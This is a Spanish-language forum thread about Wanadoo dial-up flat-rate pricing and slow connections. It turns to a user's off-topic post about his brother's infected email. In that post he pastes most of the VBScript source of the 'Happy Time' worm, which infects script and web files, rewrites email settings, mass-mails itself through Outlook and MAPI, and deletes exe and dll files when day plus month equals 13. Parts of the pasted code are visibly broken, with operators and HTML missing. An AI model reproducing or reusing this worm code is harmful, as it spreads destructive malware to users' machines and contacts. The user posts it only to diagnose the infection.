[F/C]Tarifa plana Wanadoo (RTB)

A los que la tengáis:
¿No os va peor que nunca? Bueno, en general la mayoría de las conexiones RTB.
Quiero decir:
Desde que "empezó" Internet, y a medida que pasó el tiempo, las conexiones fueron mejorando en velocidad.
Sin embargo, en el último año, las que yo utilizo (básicamente Wanadoo y Airtelnet) han ido empeorando, especialmente la tarifa plana de Wanadoo.
¿Me pasa sólo a mí? A lo mejor es culpa de la línea, pero me ocurre tanto en casa como en el pueblo. Supongo que se van saturando porque cada vez se conecta más gente.
Pero en Wanadoo hace un porrón de tiempo que no dan tarifa plana, por lo que no tiene mucho sentido. Bueno sí, si utilizan la misma red que para la "Conexión Gratuita" y los "Bonos".
Por otro lado, comentar -ya lo sabréis- que hay que ir cambiando el número a marcar, ahora ya no es 900902032 sino 909400400, con las mismas condiciones. Lo cierto es que desde que lanzaron el 909, mis conexiones han mejorado un poquito, aunque puede haber sido casualidad (no lo sé).
Y puestos en el tema, creo haber leído en algún lado que la tarifa plana de Terra ya no es a través de 900, sino que hay que asociarla a una línea. ¿Es esto cierto? ¿Queda alguna tarifa plana a través de 900?

Ata loguiño!

Mateo.

Holas, yo como siempre, el "rarito".

Tengo la ondulada de Wanadoo (ya me gustaria que fuese plana) y desde que recibi el mail para cambiar los nodos de acceso (cosa que hice en el momento ) pues solo decir que me va mejor que nunca.

La autentificacion que comenta Felix pues conmigo no tiene problema, en menos de 10 segundos desde que comienza el proceso, ya estoy dentro.

El tema de velocidad, pues bastante bien y sobre todo teniendo en cuenta que yo acostumbro a bajar y mucho cosas de inet.



Un Saludo.


P.D: Los "raritos" somos asi.

(O/T) Ultimamente, se ve que la "gente" pasa mucho de ayudar. Todos se apuntan al caballo ganador pero no saben lo que es "sufrir" el duro trabajo hasta conseguirlo. El dia de mañana, ya veremos que sucede.


Que tome nota quien tiene que tomarlo.

Felix los clientes de TERRA TARIFA PLANA (los antiguos) siguen usando el 900, por lo menos eso use cuando estaba en Madrid y sin problemas

Hola,
la plana de Wanadoo ha subido ahora a 2795+500+IVA = 3822 ptas. Lo bueno de la plana de Wanadoo es que la puedes convertir en una multitarifa plana teniendo la ondulada más horas fuera de ondulada, solo sumandole el coste de un bono wanadoo normal. La pena es que de esto solo nos podamos beneficiar los clientes que nos dimos de alta en Wanadoo antes de noviembre.
La plana de Wanadoo vale tanto para RTB como RDSI.

Un saludo, DoN

¿No son 2.750 + IVA? ¿Ha vuelto a subir? Me llegó hace un par de días el último recibo (creo que de Junio, o Julio, ya ni lo sé), y venía con 2.750 más IVA más las conexiones de fuera de tarifa plana, claro.
Por cierto, la que tengo yo es ésa, la "semiplana", "rarito" como Cueto
Fuera de hora suelo utilizar los bonos metropolitanos de Telefónica, con Airtelnet, pero ahora que comentas lo de que se pueden tener combinados los de Wanadoo con la tarifapeich me lo estoy pensando. (Porque sino siempre hay líos en casa, me fundo los bonos enseguida).

Por otro lado, me estoy muriendo de envidia con vuestras RDSI y ADSL. ;-)

Primero quiero probar con otro modem, porque estoy empezando a sospechar que tiene mucha culpa de mis "caídas", relentizaciones y a veces "congelamientos" de la conexión.

En el pueblo tengo uno de Creative que creo que va bien, pero el ordenador no da más de sí (Pentium 100 con 24 MB de ram, 1 MB de tarjeta gráfica) y normalmente tarda más en cargar la pantalla en sí que lo que es bajar la página.

Pero en Orense me muero con las conexiones. El ordenador es mucho mejor, pero Internet va lentísimo! (Con la misma tarifapeich itinerante de Wanadoo). Ahora sospecho que sea del modem (sin marca).

Bueno, me voy a comer! ¡Nos "vemos"! ;-)

Mateo.

Nos hemos cruzado los mensajes
Wanadoo subió 250 ptas. hace un par de meses, al menos a mí!
Ata loguiño!

Hola, yo estoy con Mateo, que la subida era de 250 sobre las 2500 y se queda en 2750 + iva unas 3190 ptas.

Eso de casi 4000...nose pero no me suena... y seria un abuso comparado con las otras onduladas.




Un Saludo.

Gracias!.
Lo primero que probaré es, mañana, a intercambiar los modems y ver qué tal va.
Lo que has dicho de los pueblos lo sospechaba. Casi siempre me va Internet más rápido aquí que en pleno centro de Orense, a iguales condiciones (¡Cuando solo tenía un ordenador, me lo llevaba entero de un lado para otro!)

Por otro lado, aprovechando el off-topic, os cuento:
Hoy mi hermano se ha infectado de virus, tiene el ordenador colgado... y me está resultando muy difícil ayudarle, porque está en Londres!.
Creo que ya he encontrado el virus, "happy time", porque el e-mail de "socorro" que me envió ocupaba 14 KB y sospeché que no era normal, pues sólo eran un par de párrafos.

Pero ni el Netscape ni la página web de Airtel me mostraban ningún fichero adjunto, ni el "clip" ni nada, y el encabezado parecía de lo más normal.

Decidí reenviarme el correo a una cuenta UNIX, y me encuentro esto, a continuación del cuerpo de mensaje, y tras unos cuantos "enter":



Rem I am sorry! happy time
On Error Resume Next
mload
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
If IsHTML Then
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset
Os.Path = "C:Help.htm"
Os.Doc = Lhtml()
Os.Write()
Ihtml = ""
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
Else
If Iv(mPath, "Help.vbs") Then
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id = setTimeout("mclose()", 1)
main
Else
Os.Reset()
Os.Path = mPath & "" & "Help.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath, "Help.hta"
End If
End If
End If
Else
main
End If
End Sub
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
Set Od = CreateObject("Scripting.Dictionary")
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
Ks = "HKEY_CURRENT_USERSoftware"
Ds = Grf()
Cs = Gsf()
If IsVbs Then
If Of.FileExists("C:help.htm") Then
Of.DeleteFile ("C:help.htm")
End If
Key = CInt(Month(Date) + Day(Date))
If Key = 13 Then
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
End If
Cn = Rg(Ks & "HelpCount")
If Cn = "" Then
Cn = 1
End If
Rw Ks & "HelpCount", Cn + 1
f1 = Rg(Ks & "HelpFileName")
f2 = FNext(Of, Od, f1)
fext = GetExt(Of, Od, f2)
Rw Ks & "HelpFileName", f2
If IsDel(fext) Then
f3 = f2
f2 = FNext(Of, Od, f2)
Rw Ks & "HelpFileName", f2
Of.DeleteFile f3
Else
If LCase(WScript.ScriptFullname) LCase(f2) Then
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USERControl PaneldesktopwallPaper")
If Rg(Ks & "HelpwallPaper") wp Or wp = "" Then
If wp = "" Then
n1 = ""
n3 = Cs & "Help.htm"
Else
mP = Of.GetFile(wp).ParentFolder
n1 = Of.GetFileName(wp)
n2 = Of.GetBaseName(wp)
n3 = Cs & "" & n2 & ".htm"
End If
Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
pfc.Write "" & mt
pfc.Close
Rw Ks & "HelpwallPaper", n3
Rw "HKEY_CURRENT_USERControl PaneldesktopwallPaper", n3
End If
Else
Set fc = Of.CreateTextFile(Ds & "Help.vbs", True)
fc.Write Sa("0100")
fc.Close
bf = Cs & "Untitled.htm"
Set fc2 = Of.CreateTextFile(bf, True)
fc2.Write Lhtml
fc2.Close
oeid = Rg("HKEY_CURRENT_USERIdentitiesDefault User ID")
oe = "HKEY_CURRENT_USERIdentities" & oeid & "SoftwareMicrosoftOutlook Express5.0Mail"
MSH = oe & "Message Send HTML"
CUS = oe & "Compose Use Stationery"
SN = oe & "Stationery Name"
Rw MSH, 1
Rw CUS, 1
Rw SN, bf
Web = Cs & "WEB"
Set gf = Of.GetFolder(Web).Files
Od.Add "htt", "1100"
For Each m In gf
fext = GetExt(Of, Od, m)
If fext "" Then
Fw Of, m, fext
End If
Next
End If
End Sub
Sub mclose()
document.Write "I am sorry!"
window.Close
End Sub
Sub Rt()
Dim mPath
On Error Resume Next
mPath = Grf()
Iv mPath, "Help.vbs"
End Sub
Function Sa(n)
Dim VBSText, m
VBSText = Lvbs()
If Mid(n, 3, 1) = 1 Then
m = ""
End If
If Mid(n, 2, 1) = 1 Then
m = VBSText
End If
If Mid(n, 1, 1) = 1 Then
m = Lscript(m)
End If
Sa = m & vbCrLf
End Function
Sub Fw(Of, S, n)
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1)
mt = fc.ReadAll
fc.Close
If Not Sc(mt) Then
mmail = Ml(mt)
mt = Sa(n)
Set fc2 = Of.OpenTextFile(S, 8)
fc2.Write mt
fc2.Close
Msend (mmail)
End If
End Sub
Function Sc(S)
mN = "Rem I am sorry! happy time"
If InStr(S, mN) > 0 Then
Sc = True
Else
Sc = False
End If
End Function
Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
If Of.FileExists(S) Then
fpath = Of.GetFile(S).ParentFolder
fname = S
ElseIf Of.FolderExists(S) Then
fpath = S
T = True
Else
fpath = Dnext(Of, "")
End If
Do While True
Set gf = Of.GetFolder(fpath).Files
For Each m In gf
If T Then
If GetExt(Of, Od, m) "" Then
FNext = m
Exit Function
End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then
T = True
End If
Next
fpath = Pnext(Of, fpath)
Loop
End Function
Function Pnext(Of, S)
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T = False
If Of.FolderExists(S) Then
Set gp = Of.GetFolder(S).SubFolders
pn = gp.Count
If pn = 0 Then
Ppath = LCase(S)
Npath = LCase(Of.GetParentFolderName(S))
T = True
Else
Npath = LCase(S)
End If
Do While Not Er
For Each pn In Of.GetFolder(Npath).SubFolders
If T Then
If Ppath = LCase(pn) Then
T = False
End If
Else
Pnext = LCase(pn)
Exit Function
End If
Next
T = True
Ppath = LCase(Npath)
Npath = Of.GetParentFolderName(Npath)
If Of.GetFolder(Ppath).IsRootFolder Then
m = Of.GetDriveName(Ppath)
Pnext = Dnext(Of, m)
Exit Function
End If
Loop
End If
End Function
Function Dnext(Of, S)
Dim dc, n, d, T, m
On Error Resume Next
T = False
m = ""
Set dc = Of.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 Then
If T Then
Dnext = d
Exit Function
Else
If LCase(S) = LCase(d) Then
T = True
End If
If m = "" Then
m = d
End If
End If
End If
Next
Dnext = m
End Function
Function GetExt(Of, Od, S)
Dim fext
On Error Resume Next
fext = LCase(Of.GetExtensionName(S))
GetExt = Od.Item(fext)
End Function
Sub Rw(k, v)
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
R.RegWrite k, v
End Sub
Function Rg(v)
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
Rg = R.RegRead(v)
End Function
Function IsVbs()
Dim ErrTest
On Error Resume Next
ErrTest = WScript.ScriptFullname
If Err Then
IsVbs = False
Else
IsVbs = True
End If
End Function
Function IsHTML()
Dim ErrTest
On Error Resume Next
ErrTest = document.Location
If Er Then
IsHTML = False
Else
IsHTML = True
End If
End Function
Function IsMail(S)
Dim m1, m2
IsMail = False
If InStr(S, vbCrLf) = 0 Then
m1 = InStr(S, "@")
m2 = InStr(S, ".")
If m1 0 And m1 " & vbCrLf & _
" Help " & vbCrLf & _
" " & Lscript(Lvbs()) & vbCrLf & _
""
End Function
Function Lscript(S)
Lscript = "" & vbCrLf & _
S & ""
End Function
Function Sl(S1, S2, n)
Dim l1, l2, l3, i
l1 = Len(S1)
l2 = Len(S2)
i = InStr(S1, S2)
If i > 0 Then
l3 = i + l2 - 1
If n = 0 Then
Sl = Left(S1, i - 1)
ElseIf n = 1 Then
Sl = Right(S1, l1 - l3)
End If
Else
Sl = ""
End If
End Function
Function Ml(S)
Dim S1, S3, S2, T, adds, m
S1 = S
S3 = """"
adds = ""
S2 = S3 & "mailto" & ":"
T = True
Do While T
S1 = Sl(S1, S2, 1)
If S1 = "" Then
T = False
Else
m = Sl(S1, S3, 0)
If IsMail(m) Then
adds = adds & m & vbCrLf
End If
End If
Loop
Ml = Split(adds, vbCrLf)
End Function
Function Og()
Dim i, n, m(), Om, Oo
Set Oo = CreateObject("Outlook.Application")
Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
n = Om.Count
ReDim m(n)
For i = 1 To n
m(i - 1) = Om.Item(i).Email1Address
Next
Og = m
End Function
Sub Tsend()
Dim Od, MS, MM, a, m
Set Od = CreateObject("Scripting.Dictionary")
MConnect MS, MM
MM.FetchSorted = True
MM.Fetch
For i = 0 To MM.MsgCount - 1
MM.MsgIndex = i
a = MM.MsgOrigAddress
If Od.Item(a) = "" Then
Od.Item(a) = MM.MsgSubject
End If
Next
For Each m In Od.Keys
MM.Compose
MM.MsgSubject = "Fw: " & Od.Item(m)
MM.RecipAddress = m
MM.AttachmentPathName = Gsf & "Untitled.htm"
MM.Send
Next
MS.SignOff
End Sub
Function MConnect(MS, MM)
Dim U
On Error Resume Next
Set MS = CreateObject("MSMAPI.MAPISession")
Set MM = CreateObject("MSMAPI.MAPIMessages")
U = Rg("HKEY_CURRENT_USERSoftwareMicrosoftWindows Messaging SubsystemProfilesDefaultProfile")
MS.UserName = U
MS.DownLoadMail = False
MS.NewSession = False
MS.LogonUI = True
MS.SignOn
MM.SessionID = MS.SessionID
End Function
Sub Msend(Address)
Dim MS, MM, i, a
MConnect MS, MM
i = 0
MM.Compose
For Each a In Address
If IsMail(a) Then
MM.RecipIndex = i
MM.RecipAddress = a
i = i + 1
End If
Next
MM.MsgSubject = " Help "
MM.AttachmentPathName = Gsf & "Untitled.htm"
MM.Send
MS.SignOff
End Sub
Function Er()
If Err.Number = 0 Then
Er = False
Else
Err.Clear
Er = True
End If
End Function
Function IsDel(S)
If Mid(S, 4, 1) = 1 Then
IsDel = True
Else
IsDel = False
End If
End Function















--------------54DA7EF970E097E85A9F0484--








Virus, ¿no?
Lo curioso es que ya van dos antivirus que no me dicen nada :-(

Ata loguiño!

Mateo.

Pues eso, me respondo a mí mismo.
"Happy Time"
Lo malo es que se propaga con sólo abrir el correo, ¿no? Esto ya me rompe los esquemas! :-(
Estoy buscando ahora antivirus, hoy el de Symantec no me funciona (o sea, está, pero no se puede bajar).
Está en Visual Basic.
Sigo investigando...

Bueno, ya cierro el "off-topic" y perdón por el coñazo.
En resumen, lo más interesante del código del virus es:

Key = CInt(Month(Date) + Day(Date))
If Key = 13 Then
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
End If
En cristiano:
que cuando el día y el mes sumen 13 (por ejemplo, hoy es 5 del 8), el virus (gusano) actúa.
Yo tengo fecha de 30 de Marzo de 2.000 por razón de los programas que me bajo, para que no caduquen, y por eso en mi ordenador no "actuó".
Me disgusta que un virus-gusano me pueda fastidiar con sólo leer una carta :-( Voy a tener que empezar a leer los e-mail desde el telnet, ¡qué barbaridad!

¡Ata loguiño!

Mateo.

P.D.: Don, yo también pregunto, ¿de dónde salen esas 500 ptas?